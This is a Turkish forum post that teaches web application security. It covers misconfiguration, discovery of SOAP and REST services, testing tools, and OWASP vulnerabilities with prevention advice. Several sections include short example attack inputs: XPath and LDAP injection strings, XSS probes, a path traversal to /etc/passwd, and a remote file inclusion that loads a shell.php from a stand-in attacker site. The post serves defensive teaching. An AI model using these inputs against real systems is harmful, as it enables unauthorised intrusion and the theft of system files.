Hoşgeldin Misafir

Web Uygulama Güvenliği

Mustafa73

20 Eyl 2023
423 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Web uygulama güvenliği, internet üzerinden çalışan ve kullanıcıların çeşitli işlevler gerçekleştirmesini sağlayan programların güvenliğini sağlamak için alınan önlemlerdir. Web uygulamaları, kullanıcıların bilgisayarlarına veya mobil cihazlarına kurulmadan, internet tarayıcıları aracılığıyla erişilebilen programlardır. Bu programlar, HTML, JavaScript, PHP, ASP gibi web dilleriyle yazılır ve sunucu tarafında çalışır. Web uygulamaları, kullanıcıların isteklerine göre veri tabanlarından veya diğer servislerden bilgi alır ve bunları internet tarayıcılarına gönderir.
Web uygulamaları, günümüzde birçok alanda kullanılmaktadır. Örneğin, bankacılık, e-ticaret, eğitim, sağlık, haber, sosyal medya gibi alanlarda web uygulamaları vardır. Bu alanlarda web uygulamaları, kullanıcıların ve kurumların hassas bilgilerini içerir. Bu bilgiler, siber saldırganlar tarafından ele geçirilmeye çalışılır. Siber saldırganlar, web uygulamalarının kodlarında, sunucularında, veri tabanlarında veya ağlarında bulunan güvenlik açıklarını veya zafiyetlerini kullanarak web uygulamalarına saldırabilir. Bu saldırılar, web uygulamalarının çalışmasını bozabilir, veri kaybına veya sızıntısına yol açabilir, kullanıcıların gizliliğini veya güvenliğini tehlikeye atabilir.
Web uygulama güvenliği, web uygulamalarının bu tür saldırılara karşı korunması için gerekli olan tedbirleri içerir. Web uygulama güvenliği, web uygulamalarının tasarım, geliştirme, test, yayın, bakım ve güncelleme aşamalarında uygulanmalıdır. Web uygulama güvenliği, web uygulamalarının kodlarının, sunucularının, veri tabanlarının ve ağlarının güvenliğini sağlamak için çeşitli yöntemler kullanır. Örneğin, web uygulamalarının kodlarının güvenliği için güvenli kodlama standartları, kod inceleme araçları, güvenlik testleri, güvenlik yamaları gibi yöntemler kullanılır. Web uygulamalarının sunucularının, veri tabanlarının ve ağlarının güvenliği için ise güvenlik duvarları, şifreleme, kimlik doğrulama, yetkilendirme, günlük tutma, izleme, yedekleme gibi yöntemler kullanılır.
Web uygulama güvenliği, web uygulamalarının ve kullanıcıların güvenliğini sağlamak için çok önemli bir konudur. Web uygulama güvenliği, siber saldırıların önlenmesi, veri korunması, gizlilik sağlanması, güvenilirlik artırılması, itibar korunması gibi faydalar sağlar. Web uygulama güvenliği, sürekli olarak geliştirilmesi ve güncellenmesi gereken bir alandır. Web uygulama güvenliği, web uygulamalarının ve kullanıcıların ihtiyaçlarına göre değişiklik gösterebilir. Web uygulama güvenliği, web uygulamalarının başarısı ve kalitesi için hayati bir unsurdur.
Web Uygulamalarında Hatalı Güvenlik Yapılandırması
Web uygulamalarında hatalı güvenlik yapılandırması, web sunucularının veya uygulamaların güvenlik ayarlarının yanlış, eksik veya güncel olmayan şekilde yapılmasıdır. Bu durum, web uygulamalarının saldırılara karşı savunmasız kalmasına ve veri sızıntısı, yetkisiz erişim, yetki yükseltme gibi risklere neden olabilir. OWASP, web uygulamalarının güvenliğini artırmak için önerilerde bulunan ve en yaygın güvenlik zafiyetlerini belirleyen bir topluluktur. OWASP Top 10 listesinde, hatalı güvenlik yapılandırması 6. sırada yer almaktadır.
Hatalı güvenlik yapılandırmasının örnekleri şunlardır:
- Varsayılan parolalar: Bazı sistemler ve uygulamalar, varsayılan olarak basit veya tahmin edilebilir parolalarla gelir. Bu parolaların değiştirilmemesi, saldırganların sisteme veya uygulamaya kolayca girmesine izin verebilir. Örneğin, admin/admin, root/root, user/user gibi parolalar varsayılan olarak bırakılmamalıdır.
- Kullanılmayan hizmetler: Sistemde veya uygulamada ihtiyaç duyulmayan ancak açık bırakılan hizmetler ve uygulamalar, güvenlik açıkları oluşturabilir. Saldırganlar, bu hizmetler ve uygulamalar üzerinden sisteme sızabilir veya veri çalabilir. Örneğin, FTP, SSH, Telnet gibi hizmetler kullanılmıyorsa kapatılmalıdır.
- Uygunsuz dosya izinleri: Dosya ve dizinlerin izinleri, yalnızca gerekli olan kullanıcılar tarafından erişilebilir olmalıdır. Aksi takdirde, saldırganlar hassas dosya ve dizinlere erişebilir veya değiştirebilir. Örneğin, web uygulamasının kaynak kodlarının veya yapılandırma dosyalarının herkese açık olması, uygunsuz dosya izni örneğidir.
- Güncel olmayan bileşenler: Sistemde veya uygulamada kullanılan işletim sistemi, yazılım, kütüphane, çerçeve gibi bileşenlerin güncel olmaması, bilinen güvenlik açıklarından yararlanılmasına neden olabilir. Bu bileşenlerin düzenli olarak güncellenmesi ve yamalanması gerekir. Örneğin, eski bir PHP sürümü kullanmak, güncel olmayan bir bileşen örneğidir.
Hatalı güvenlik yapılandırmasını önlemek için şu çözümler uygulanabilir:
- Güvenli yapılandırma standartları: Sistemlerin ve uygulamaların güvenli bir şekilde yapılandırıldığından emin olmak için güvenli yapılandırma standartları kullanılmalıdır. Bu standartlar, CIS, NIST gibi kuruluşlar tarafından yayınlanmaktadır. Bu standartlar, güvenlik ayarlarının nasıl yapılması gerektiğine dair rehberlik sağlar.
- Sürekli izleme: Sistemlerin ve uygulamaların sürekli olarak izlenmesi ve güvenlik açığı taraması yapılması, olası güvenlik yanlış yapılandırmalarını tespit etmeye yardımcı olur. Ayrıca, sistem günlükleri, güvenlik olaylarını yakalamak için doğru şekilde yapılandırılmalıdır.
- En az ayrıcalık ilkesi: Kullanıcı erişimi, yalnızca gerekli olan kaynaklara ve verilere sınırlanmalıdır. Bu ilke, yetkisiz erişimi ve yetki yükseltmeyi önlemeye yardımcı olur. Örneğin, bir web uygulamasının veritabanına erişimi, yalnızca uygulamanın ihtiyaç duyduğu işlemlerle sınırlı olmalıdır.
- Güvenlik testi: Sistemlerin ve uygulamaların güvenliğini değerlendirmek için düzenli olarak güvenlik testleri yapılmalıdır. Bu testler, sızma testi, güvenlik açığı değerlendirmesi gibi yöntemleri içerebilir. Bu testler, güvenlik yanlış yapılandırmalarını ve güvenlik açıklarını belirlemeye yardımcı olur.
Web Servisi
Web servisleri, farklı cihazlar veya sistemler arasında veri paylaşımı sağlayan internet üzerindeki hizmetlerdir. Web servisleri, HTTP protokolünü kullanarak istek ve cevap gönderir. Web servisleri, XML, JSON, CSV gibi ortak veri formatlarını kullanarak farklı platformlar arasında uyumluluk sağlar. Web servisleri, Java, C++, C#, PHP, Node.js, Python, GO, Linux, Windows gibi farklı diller veya işletim sistemleri tarafından kullanılabilir. Web servisleri, aşağıdaki gibi bazı önemli kavramlara sahiptir:
- SOAP (Basit Nesne Erişim Protokolü): SOAP, web servisleri için bir protokoldür. SOAP, XML tabanlı mesajlar kullanarak uygulamaların HTTP protokolü üzerinden iletişim kurmasını sağlar. SOAP, web servislerinin nasıl çalıştığını, hangi fonksiyonları sunduğunu, hangi veri tiplerini kullandığını tanımlayan bir dil olan WSDL ile birlikte kullanılır. SOAP, web servislerinin güvenli, güvenilir ve standart bir şekilde çalışmasını sağlar.
- REST (Temsili Durum Aktarımı): REST, web servisleri için bir mimaridir. REST, web servislerinin HTTP protokolünün metotlarını (GET, POST, PUT, DELETE) kullanarak kaynaklara erişmesini ve değiştirmesini sağlar. REST, web servislerinin basit, hızlı ve esnek olmasını sağlar. REST, web servislerinin hangi fonksiyonları desteklediğini, hangi parametreleri aldığını ve verdiğini tanımlayan bir dil olan WADL ile birlikte kullanılabilir. REST, web servislerinin XML, JSON, Text gibi farklı veri formatlarını kullanmasına izin verir.
- WSDL (Web Servisleri Tanımlama Dili): WSDL, SOAP web servisleri için bir tanımlama dilidir. WSDL, web servislerinin hangi fonksiyonları sunduğunu, hangi veri tiplerini kullandığını, hangi adreslerde bulunduğunu, hangi protokolleri desteklediğini belirtir. WSDL, web servislerinin nasıl kullanılacağını, hangi parametreleri gönderilmesi gerektiğini, hangi cevapların alınacağını gösterir. WSDL, web servislerinin standart, uyumlu ve otomatik olarak oluşturulmasını sağlar.
- WADL (Web Uygulaması Tanımlama Dili): WADL, REST web servisleri için bir tanımlama dilidir. WADL, web servislerinin hangi fonksiyonları desteklediğini, hangi metotlar ile kullanıldığını, servise giriş / çıkış olarak hangi parametrelerin verildiğini veya alındığını, bu parametrelerin tiplerinin ne olduğunu gösterir. WADL, web servislerinin basit, hızlı ve esnek bir şekilde tanımlanmasını ve kullanılmasını sağlar.
Web Servisinin Keşfi
Web servisleri, farklı platformlarda çalışan uygulamaların birbirleriyle veri alışverişi yapmasını sağlayan internet üzerinden sunulan hizmetlerdir. Web servislerinin keşfi, bir uygulamanın hangi web servislerini kullandığını veya web servislerinin hangi özelliklere sahip olduğunu belirlemek için kullanılan bir süreçtir. Web servislerinin keşfi için çeşitli yöntem ve teknikler vardır. Bunlardan bazıları şöyledir:
- Proxy yazılımı kullanarak keşif: Bu yöntemde, bir proxy yazılımı (örneğin burpsuite), uygulamanın web servislerine gönderdiği veya aldığı istek ve yanıtları yakalar ve analiz eder. Böylece web servislerinin adresleri, parametreleri, veri formatları gibi bilgiler elde edilir.
- Arama motorlarını kullanarak keşif: Bu yöntemde, arama motorları (örneğin Bing) web servislerinin tanımlayıcı dosyalarını (örneğin WSDL) bulmak için kullanılır. WSDL dosyaları, web servislerinin işlevleri, parametreleri, veri tipleri gibi bilgileri içerir. Arama motorlarında belirli anahtar kelimeler veya dosya uzantıları (örneğin filetype:wsdl, inurl:wsdl) kullanılarak WSDL dosyaları bulunabilir.
- Fuzzing testleri yöntemiyle keşif: Bu yöntemde, rastgele veya önceden tanımlanmış veriler web servislerine gönderilir ve web servislerinin davranışları gözlemlenir. Böylece web servislerinin zafiyetleri, hataları, güvenlik açıkları gibi bilgiler elde edilir. Fuzzing testleri için çeşitli araçlar (örneğin wfuzz) kullanılabilir.
- Swf veya jar dosyalarının decompile araçları ile keşif: Bu yöntemde, uygulamanın içerdiği swf (flash) veya jar (java) dosyaları, decompile araçları (örneğin swf intruder) ile tersine mühendislik yapılır ve web servislerinin adresleri, parametreleri, veri formatları gibi bilgiler elde edilir.
Web servislerinin keşfi, web servislerinin işleyişini anlamak, web servislerini kullanmak veya web servislerinin güvenliğini sağlamak için önemli bir adımdır. Web servislerinin keşfi için kullanılan yöntem ve tekniklerin avantaj ve dezavantajları vardır. Hangi yöntemin veya tekniğin kullanılacağı, web servislerinin türüne, uygulamanın yapısına, keşif amacına ve kullanılabilir kaynaklara bağlıdır.
Web Servislerine Yönelik Zafiyet İşlemleri
Web servisleri, internet üzerinden farklı uygulamaların birbiriyle iletişim kurmasını sağlayan yazılım bileşenleridir. Web servisleri, belirli standartlara göre tanımlanır ve sunulur. Web servislerinin güvenliği, web uygulamalarının güvenliği kadar önemlidir. Web servislerinde de web uygulamalarında olduğu gibi çeşitli zafiyetler ortaya çıkabilir. Bu zafiyetler, web servislerinin işlevselliğini, verimliliğini ve güvenilirliğini etkileyebilir. Ayrıca, web servislerinin kullandığı verilerin gizliliğini, bütünlüğünü ve erişilebilirliğini tehlikeye atabilir. Web servislerinde zafiyet tespiti ve giderilmesi için çeşitli araçlar ve yöntemler kullanılabilir. Bu araçlar, web servislerinin tanımını, metotlarını, parametrelerini, isteklerini ve yanıtlarını analiz ederek zafiyetleri bulmaya çalışır. Web servislerinde zafiyet tespiti ve giderilmesi için kullanılabilecek araçların bazıları şunlardır:
- WebScarap: Web servislerinin istek ve yanıtlarını yakalayarak, değiştirerek ve tekrar göndererek zafiyetleri test etmeye yarayan bir proxy aracıdır.
- SoapUI: Web servislerinin fonksiyonel, yük ve güvenlik testlerini yapmaya yarayan bir araçtır. Web servislerinin tanımını, metotlarını, parametrelerini, isteklerini ve yanıtlarını görsel olarak gösterir. Ayrıca, web servislerine farklı veriler göndererek zafiyetleri bulmaya çalışır.
- WCFStorm: Web servislerinin fonksiyonel, performans ve yük testlerini yapmaya yarayan bir araçtır. Web servislerinin tanımını, metotlarını, parametrelerini, isteklerini ve yanıtlarını görsel olarak gösterir. Ayrıca, web servislerine farklı veriler göndererek zafiyetleri bulmaya çalışır.
- SOAP Cleaner: Web servislerinin tanımını, metotlarını, parametrelerini, isteklerini ve yanıtlarını analiz ederek zafiyetleri bulmaya yarayan bir araçtır. Ayrıca, web servislerine farklı veriler göndererek zafiyetleri test etmeye yarayan bir proxy aracıdır.
- WSDigger: Web servislerinin tanımını, metotlarını, parametrelerini, isteklerini ve yanıtlarını analiz ederek zafiyetleri bulmaya yarayan bir araçtır. Ayrıca, web servislerine farklı veriler göndererek zafiyetleri test etmeye yarayan bir proxy aracıdır.
- wsScanner: Web servislerinin tanımını, metotlarını, parametrelerini, isteklerini ve yanıtlarını analiz ederek zafiyetleri bulmaya yarayan bir araçtır. Ayrıca, web servislerine farklı veriler göndererek zafiyetleri test etmeye yarayan bir proxy aracıdır.
- Wfuzz: Web servislerine farklı veriler göndererek zafiyetleri bulmaya yarayan bir araçtır. Web servislerinin parametrelerine, başlıklarına, çerezlerine ve diğer verilerine farklı değerler göndererek zafiyetleri test eder.
- RESTClient: Web servislerine farklı veriler göndererek zafiyetleri bulmaya yarayan bir araçtır. Web servislerinin isteklerini ve yanıtlarını görsel olarak gösterir. Ayrıca, web servislerinin parametrelerine, başlıklarına, çerezlerine ve diğer verilerine farklı değerler göndererek zafiyetleri test eder.
- Burpsuite: Web servislerinin istek ve yanıtlarını yakalayarak, değiştirerek ve tekrar göndererek zafiyetleri test etmeye yarayan bir proxy aracıdır. Ayrıca, web servislerine farklı veriler göndererek zafiyetleri bulmaya yarayan bir tarama aracıdır.
- WS-Attacker: Web servislerinin tanımını, metotlarını, parametrelerini, isteklerini ve yanıtlarını analiz ederek zafiyetleri bulmaya yarayan bir araçtır. Ayrıca, web servislerine farklı veriler göndererek zafiyetleri test etmeye yarayan bir proxy aracıdır.
- ZAP: Web servislerinin istek ve yanıtlarını yakalayarak, değiştirerek ve tekrar göndererek zafiyetleri test etmeye yarayan bir proxy aracıdır. Ayrıca, web servislerine farklı veriler göndererek zafiyetleri bulmaya yarayan bir tarama aracıdır.
- Metasploit: Web servislerine farklı veriler göndererek zafiyetleri bulmaya yarayan bir araçtır. Ayrıca, web servislerinde bulunan zafiyetleri kullanarak web servislerine saldırmaya yarayan bir araçtır.
- WSDL Analyzer: Web servislerinin tanımını, metotlarını, parametrelerini, isteklerini ve yanıtlarını analiz ederek zafiyetleri bulmaya yarayan bir araçtır.
Web servislerinde zafiyet tespiti ve giderilmesi için kullanılabilecek araçların bazılarını yukarıda listeledik. Şimdi de OWASP'ın tespit ettiği zafiyetlerden bazılarını açıklayayım:
- Injection Zafiyetleri: Injection zafiyetleri, web servislerine gönderilen verilerin, web servislerinin kullandığı sistemlerde komut veya sorgu olarak yorumlanmasından kaynaklanan zafiyetlerdir. Bu zafiyetler, web servislerinin kullandığı veritabanı, işletim sistemi, XML işleyicisi gibi sistemlerde istenmeyen işlemlerin gerçekleşmesine neden olabilir. Injection zafiyetleri, web servislerine gönderilen verilerin doğru şekilde filtrelenmemesi veya doğrulanmaması sonucunda ortaya çıkar. Injection zafiyetleri, web servislerinin kullandığı sistemlere göre çeşitli tiplere ayrılabilir. Bunlardan bazıları şunlardır:
- Sql Injection: Sql injection zafiyeti, web servislerine gönderilen verilerin, web servislerinin kullandığı veritabanında SQL sorgusu olarak yorumlanmasından kaynaklanan bir zafiyettir. Bu zafiyet, web servislerinin veritabanındaki verileri okuma, ekleme, silme, değiştirme gibi işlemleri yapmasına izin verir. Ayrıca, web servislerinin veritabanındaki kullanıcı veya yönetici bilgilerini ele geçirme, veritabanındaki sistem komutlarını çalıştırma gibi işlemleri yapmasına da izin verir. Sql injection zafiyeti, web servislerinin veritabanı sistemine ve veritabanı hatalarının gösterilip gösterilmediğine göre çeşitli tiplere ayrılabilir. Bunlardan bazıları şunlardır:
- Classic Sql: Classic Sql injection zafiyeti, web servislerinin veritabanı sistemine göre farklılık gösteren bir zafiyettir. Bu zafiyet, web servislerinin veritabanı hatalarını gösterdiği durumlarda ortaya çıkar. Web servislerine gönderilen verilerin, veritabanı sorgusunun sonuna eklenmesi veya sorgunun içine yerleştirilmesi ile saldırgan, veritabanı sistemine istediği komutları gönderebilir. Bu şekilde, saldırgan veritabanındaki verileri okuyabilir, değiştirebilir, silebilir veya veritabanı sistemini etkileyebilir. Classic Sql injection zafiyetini önlemek için, web servislerinin veritabanı hatalarını göstermemesi, veritabanı sorgularını parametrik olarak oluşturması ve web servislerine gönderilen verileri doğrulaması ve filtrelemesi gerekir. Ayrıca, web servislerinin veritabanı erişim yetkilerini en aza indirmesi ve veritabanı yedeklemesi yapması da önemlidir.
- Command Injection: Bu zafiyet, bir web uygulamasının sunucu tarafında kullanıcı girdilerini doğrudan komut satırına aktarması sonucu ortaya çıkar. Bu sayede, saldırgan sunucuda istediği komutları çalıştırabilir ve sistemi ele geçirebilir. Örneğin, bir web uygulaması kullanıcının dosya adı girmesini istiyor ve bu girdiyi cat komutu ile birleştirerek sunucuda çalıştırıyorsa, saldırgan ; karakteri ile komutları ayırarak başka komutlar da ekleyebilir. Bu zafiyeti önlemek için, kullanıcı girdilerinin filtrelenmesi, doğrulanması ve parametre olarak kullanılması gerekir.
- XPATH Injection: Bu zafiyet, bir web uygulamasının XML verilerini XPATH sorguları ile işlemesi ve kullanıcı girdilerini bu sorgulara doğrudan eklemesi sonucu ortaya çıkar. Bu sayede, saldırgan XPATH sorgusunu değiştirerek XML verilerine erişebilir veya değiştirebilir. Örneğin, bir web uygulaması kullanıcının kullanıcı adı ve şifre girmesini istiyor ve bu girdileri //users/user[username='$username' and password='$password'] sorgusu ile XML veritabanında arıyorsa, saldırgan $username yerine * veya $password yerine or 1=1 gibi değerler girerek tüm kullanıcıları listeyebilir. Bu zafiyeti önlemek için, kullanıcı girdilerinin filtrelenmesi, doğrulanması ve parametre olarak kullanılması gerekir.
- LDAP Injection: Bu zafiyet, bir web uygulamasının LDAP protokolünü kullanarak dizin hizmetlerine erişmesi ve kullanıcı girdilerini LDAP sorgularına doğrudan eklemesi sonucu ortaya çıkar. Bu sayede, saldırgan LDAP sorgusunu değiştirerek dizin hizmetlerindeki verilere erişebilir veya değiştirebilir. Örneğin, bir web uygulaması kullanıcının kullanıcı adı ve şifre girmesini istiyor ve bu girdileri (uid=$username)(userPassword=$password) sorgusu ile LDAP sunucusunda arıyorsa, saldırgan $username yerine * veya $password yerine )(cn=Admin gibi değerler girerek yönetici hesabına erişebilir. Bu zafiyeti önlemek için, kullanıcı girdilerinin filtrelenmesi, doğrulanması ve parametre olarak kullanılması gerekir.
- PHP Object Injection: Bu zafiyet, bir web uygulamasının PHP nesnelerini serialize() fonksiyonu ile dizgeye dönüştürmesi ve bu dizgeyi kullanıcıdan alması veya kullanıcıya göndermesi sonucu ortaya çıkar. Bu sayede, saldırgan dizgeyi değiştirerek PHP nesnelerinin özelliklerini veya davranışlarını manipüle edebilir. Örneğin, bir web uygulaması kullanıcının sepetindeki ürünleri serialize() fonksiyonu ile dizgeye dönüştürüyor ve bu dizgeyi bir çerezde saklıyorsa, saldırgan çerezi değiştirerek sepetindeki ürünleri veya fiyatlarını değiştirebilir. Bu zafiyeti önlemek için, kullanıcıdan alınan veya kullanıcıya gönderilen dizgelerin unserialize() fonksiyonu ile geri dönüştürülmemesi veya güvenli bir şekilde şifrelenmesi gerekir.
- SSI Injection: Bu zafiyet, bir web uygulamasının statik web sayfalarına dinamik içerik eklemek için SSI (Server Side Include) komutlarını kullanması ve kullanıcı girdilerini bu komutlara doğrudan eklemesi sonucu ortaya çıkar. Bu sayede, saldırgan SSI komutlarını değiştirerek sunucuda istediği komutları çalıştırabilir veya web sayfasının içeriğini değiştirebilir. Örneğin, bir web uygulaması kullanıcının sayfa adı girmesini istiyor ve bu girdiyi <!--#include file="$page" --> komutu ile web sayfasına ekliyorsa, saldırgan $page yerine | karakteri ile komutları ayırarak başka komutlar da ekleyebilir. Bu zafiyeti önlemek için, kullanıcı girdilerinin filtrelenmesi, doğrulanması ve parametre olarak kullanılması gerekir.
- Hatalı Kimlik Doğrulama ve Oturum Yönetimi Zafiyeti: Bu zafiyet, bir web uygulamasının kullanıcıların kimlik doğrulama ve oturum yönetimi işlemlerini güvenli bir şekilde yapmaması sonucu ortaya çıkar. Bu sayede, saldırgan kullanıcıların hesaplarına erişebilir, oturumlarını ele geçirebilir veya sahte kimlikler oluşturabilir. Örneğin, bir web uygulaması kullanıcıların şifrelerini düz metin olarak saklıyor veya oturum kimliklerini tahmin edilebilir bir şekilde oluşturuyorsa, saldırgan veritabanına sızarak şifreleri okuyabilir veya oturum kimliklerini tahmin ederek oturumları ele geçirebilir. Bu zafiyeti önlemek için, kullanıcıların şifrelerinin güçlü ve şifreli bir şekilde saklanması, oturum kimliklerinin rastgele ve güvenli bir şekilde oluşturulması, oturumların zaman aşımına uğraması ve kullanıcıların çıkış yapmaları sağlanması gerekir.
- Cross-Site Scripting (XSS) Zafiyeti: Bu zafiyet, bir web uygulamasının kullanıcı girdilerini filtrelemeden veya doğrulamadan web sayfasına eklemesi sonucu ortaya çıkar. Bu sayede, saldırgan HTML, CSS, JavaScript gibi web teknolojileri ile hazırlanmış zararlı kodları web sayfasına enjekte edebilir ve diğer kullanıcıların tarayıcılarında çalıştırabilir. Örneğin, bir web uygulaması kullanıcının yorum girmesini istiyor ve bu yorumu web sayfasına ekliyorsa, saldırgan <script>alert('XSS')</script> gibi bir yorum girerek diğer kullanıcıların tarayıcılarında bu kodu çalıştırabilir. Bu zafiyeti önlemek için, kullanıcı girdilerinin filtrelenmesi, doğrulanması ve HTML olarak kodlanması gerekir. XSS zafiyeti üç türe ayrılır:
- Reflected XSS: Bu türde, zararlı kod web uygulamasından geri yansıtılarak çalıştırılır. Örneğin, bir web uygulaması kullanıcının arama terimini web sayfasına ekliyorsa, saldırgan arama terimi olarak zararlı kodu girebilir ve bu kod web sayfasında çalıştırılır.
- Stored XSS: Bu türde, zararlı kod web uygulamasının veritabanına veya dosya sistemine kaydedilerek çalıştırılır. Örneğin, bir web uygulaması kullanıcının yorum girmesini istiyor ve bu yorumu veritabanına kaydediyor ve web sayfasında gösteriyorsa, saldırgan yorum olarak zararlı kodu girebilir ve bu kod web sayfasında çalıştırılır.
- DOM Based XSS: DOM Based XSS, zararlı kodun web uygulamasının sunucu tarafına ulaşmadan, sadece tarayıcıda çalıştırılması sonucu ortaya çıkar. Bu türde, saldırgan web sayfasının DOM yapısını değiştiren bir URL oluşturur ve bunu kurbanlara gönderir. Kurbanlar bu URL'yi açtıklarında, web sayfasındaki JavaScript kodu, saldırganın URL'de yerleştirdiği verileri kullanarak DOM'u değiştirir ve zararlı kodu çalıştırır. Örneğin, bir web uygulaması kullanıcının arama terimini web sayfasına ekliyorsa, saldırgan arama terimi olarak #<img src=x onerror=alert(1)> girebilir ve bu URL'yi kurbanlara gönderebilir. Kurbanlar bu URL'yi açtıklarında, web sayfasındaki JavaScript kodu, URL'deki # karakterinden sonraki kısmı alarak web sayfasına ekler ve böylece zararlı kod çalıştırılır. Bu zafiyeti önlemek için, web sayfasındaki JavaScript kodunun URL'den gelen verileri güvenli bir şekilde işlemesi ve DOM'u değiştirmeden önce filtrelemesi veya doğrulaması gerekir.
- Güvensiz Doğrudan Nesne Referansları Zafiyeti: Bu zafiyet, bir web uygulamasının kullanıcıların doğrudan nesnelere (örneğin dosyalar, veritabanı kayıtları, vb.) erişmesine izin vermesi, ancak bu erişimi yeterince kontrol etmemesi durumunda ortaya çıkar. Bu, saldırganların yetkisiz olarak başka kullanıcıların veya sistemlerin nesnelerine erişmesine veya değiştirmesine olanak tanır. Örneğin, bir web sitesindeki bir URL'de php_id=1 parametresi varsa, saldırgan bunu php_id=2 olarak değiştirerek başka bir kullanıcının nesnesini görüntüleyebilir veya düzenleyebilir. Bu zafiyeti önlemek için, web uygulaması herhangi bir nesneye erişim talebinde bulunan kullanıcının kimliğini ve yetkisini doğrulamalı ve nesne kimliklerini tahmin edilmesi zor veya rastgele hale getirmelidir.
- Hatalı Güvenlik Yapılandırması Zafiyeti: Bu zafiyet, bir web uygulamasının veya sunucunun güvenlik ayarlarının yanlış veya eksik yapılması durumunda ortaya çıkar. Bu, saldırganların uygulamanın veya sunucunun zayıf noktalarını bulmasına ve istismar etmesine olanak tanır. Örneğin, bir web sunucusu varsayılan şifreleri, açık portları, gereksiz servisleri veya güncel olmayan yazılımları kullanıyorsa, saldırgan bunları kullanarak sunucuya sızabilir veya saldırabilir. Bu zafiyeti önlemek için, web uygulaması veya sunucu güvenlik ayarlarının düzenli olarak gözden geçirilmesi, güncellenmesi ve test edilmesi gerekir.
- Hassas Veri Zafiyeti: Bu zafiyet, bir web uygulamasının kullanıcıların veya sistemlerin hassas verilerini (örneğin kişisel bilgiler, kredi kartı numaraları, şifreler, vb.) koruyamaması durumunda ortaya çıkar. Bu, saldırganların bu verileri ele geçirerek kötüye kullanmasına veya ifşa etmesine olanak tanır. Örneğin, bir web sitesi kullanıcıların şifrelerini düz metin olarak saklıyorsa veya şifreli iletişim kullanmıyorsa, saldırgan bunları ağ trafiğini dinleyerek veya veritabanına erişerek çalabilir. Bu zafiyeti önlemek için, web uygulaması hassas verileri şifrelemeli, iletişimi SSL/TLS gibi güvenli protokollerle sağlamalı ve veri sızıntılarını önlemek için güvenlik politikaları uygulamalıdır.
- Eksik İşlev ve Erişim Kontrolü Zafiyeti: Bu zafiyet, bir web uygulamasının kullanıcıların veya sistemlerin işlevlerine veya kaynaklarına erişimini yeterince kısıtlamaması durumunda ortaya çıkar. Bu, saldırganların yetkisiz olarak uygulamanın veya sunucunun işlevlerini veya kaynaklarını kullanmasına veya değiştirmesine olanak tanır. Örneğin, bir web sitesindeki bir URL'de admin.php dosyası varsa, saldırgan bunu doğrudan çağırarak yönetici paneline erişebilir veya işlevleri çalıştırabilir. Bu zafiyeti önlemek için, web uygulaması herhangi bir işlev veya kaynak talebinde bulunan kullanıcının kimliğini ve yetkisini doğrulamalı ve işlev veya kaynak isimlerini tahmin edilmesi zor veya rastgele hale getirmelidir. Bu zafiyetin iki alt türü vardır:
- LFI (Local File Inclusion): Bu zafiyet, bir web uygulamasının kullanıcı girdisini yeterince filtrelemeden veya doğrulamadan yerel dosyaları dahil etmesi durumunda ortaya çıkar. Bu, saldırganların sunucudaki herhangi bir dosyayı görüntülemesine veya çalıştırmasına olanak tanır. Örneğin, bir web sitesindeki bir URL'de page=home.php parametresi varsa, saldırgan bunu page=../../etc/passwd gibi bir değerle değiştirerek sunucunun parola dosyasını okuyabilir.
- RFI (Remote File Inclusion): Bu zafiyet, bir web uygulamasının kullanıcı girdisini yeterince filtrelemeden veya doğrulamadan uzak dosyaları dahil etmesi durumunda ortaya çıkar. Bu, saldırganların kendi kontrolündeki bir sunucudaki herhangi bir dosyayı görüntülemesine veya çalıştırmasına olanak tanır. Örneğin, bir web sitesindeki bir URL'de page=home.php parametresi varsa, saldırgan bunu page=http://saldırgan-site.com/shell.php gibi bir değerle değiştirerek kendi sunucusundaki bir zararlı kodu çalıştırabilir.
- Cross-Site Request Forgery (CSRF) Zafiyeti: Bu, bir saldırganın, bir web sitesinde oturum açmış olan bir kullanıcının tarayıcısını, kullanıcının istemediği veya farkında olmadığı bir işlem yapmaya zorlayan bir tekniktir. Örneğin, bir saldırgan, bir forum sitesinde admin olan bir kullanıcıya, bir link gönderir. Bu link, kullanıcının tıkladığında, forum sitesinde saldırganın istediği bir değişikliği yapmasını sağlar. Bu şekilde, saldırgan, kullanıcının yetkilerini kötüye kullanarak, siteyi ele geçirebilir. Bu zafiyeti önlemek için, web siteleri, kullanıcıların yaptığı işlemleri doğrulamak için, gizli bir token veya bir captcha kullanabilir.
- Bilinen Güvenlik Açıklarına Sahip Bileşenleri Kullanma: Bu, bir web sitesinin, güncel olmayan veya zafiyetli olan bir yazılım veya modül kullanmasıdır. Bu durumda, saldırganlar, bu zafiyetleri bularak, siteye sızabilir veya zarar verebilir. Örneğin, bir web sitesi, eski bir WordPress sürümü veya bir eklenti kullanıyorsa, bu, siteyi, bilinen saldırılara karşı savunmasız bırakabilir. Bu zafiyeti önlemek için, web siteleri, kullandıkları yazılım ve modülleri sürekli güncellemeli ve güvenlik yamalarını uygulamalıdır.
- URL Yönlendirme Zafiyetleri: Bu, bir web sitesinin, kullanıcıları, başka bir siteye yönlendiren bir link içermesi veya kabul etmesidir. Bu link, kullanıcıların güvendiği bir siteye benzeyebilir veya gizlenebilir. Bu şekilde, saldırganlar, kullanıcıların kişisel bilgilerini, şifrelerini veya kredi kartı bilgilerini çalabilir veya zararlı bir yazılım bulaştırabilir. Bu zafiyeti önlemek için, web siteleri, kullanıcıların girdiği veya tıkladığı linkleri doğrulamalı ve filtrelemelidir.
- Burpsuite: Bu, web güvenliği testi yapmak için kullanılan bir araçtır. Bu araç, web sitelerinin nasıl çalıştığını ve hangi zafiyetlere sahip olduğunu analiz etmeye yarar. Bu araç, web sitesi ile kullanıcı arasındaki veri trafiğini yakalar ve değiştirebilir. Bu sayede, web sitesinin davranışını ve güvenliğini test etmek mümkün olur. Bu araç, birçok özelliğe ve eklentiye sahiptir. Bu özelliklerden bazıları şunlardır:
- Repeater: Bu özellik, web sitesine gönderilen bir isteği tekrar tekrar göndermeye ve sonucu görmeye yarar. Bu sayede, web sitesinin farklı parametrelerle nasıl tepki verdiği anlaşılabilir.
- Intruder: Bu özellik, web sitesine gönderilen bir isteği otomatik olarak değiştirmeye ve farklı değerlerle göndermeye yarar. Bu sayede, web sitesinin zafiyetli olduğu noktalar bulunabilir.
- Decoder: Bu özellik, web sitesi ile kullanıcı arasında gönderilen verileri kodlamaya veya çözmeye yarar. Bu sayede, web sitesinin kullandığı şifreleme veya kodlama yöntemleri anlaşılabilir.
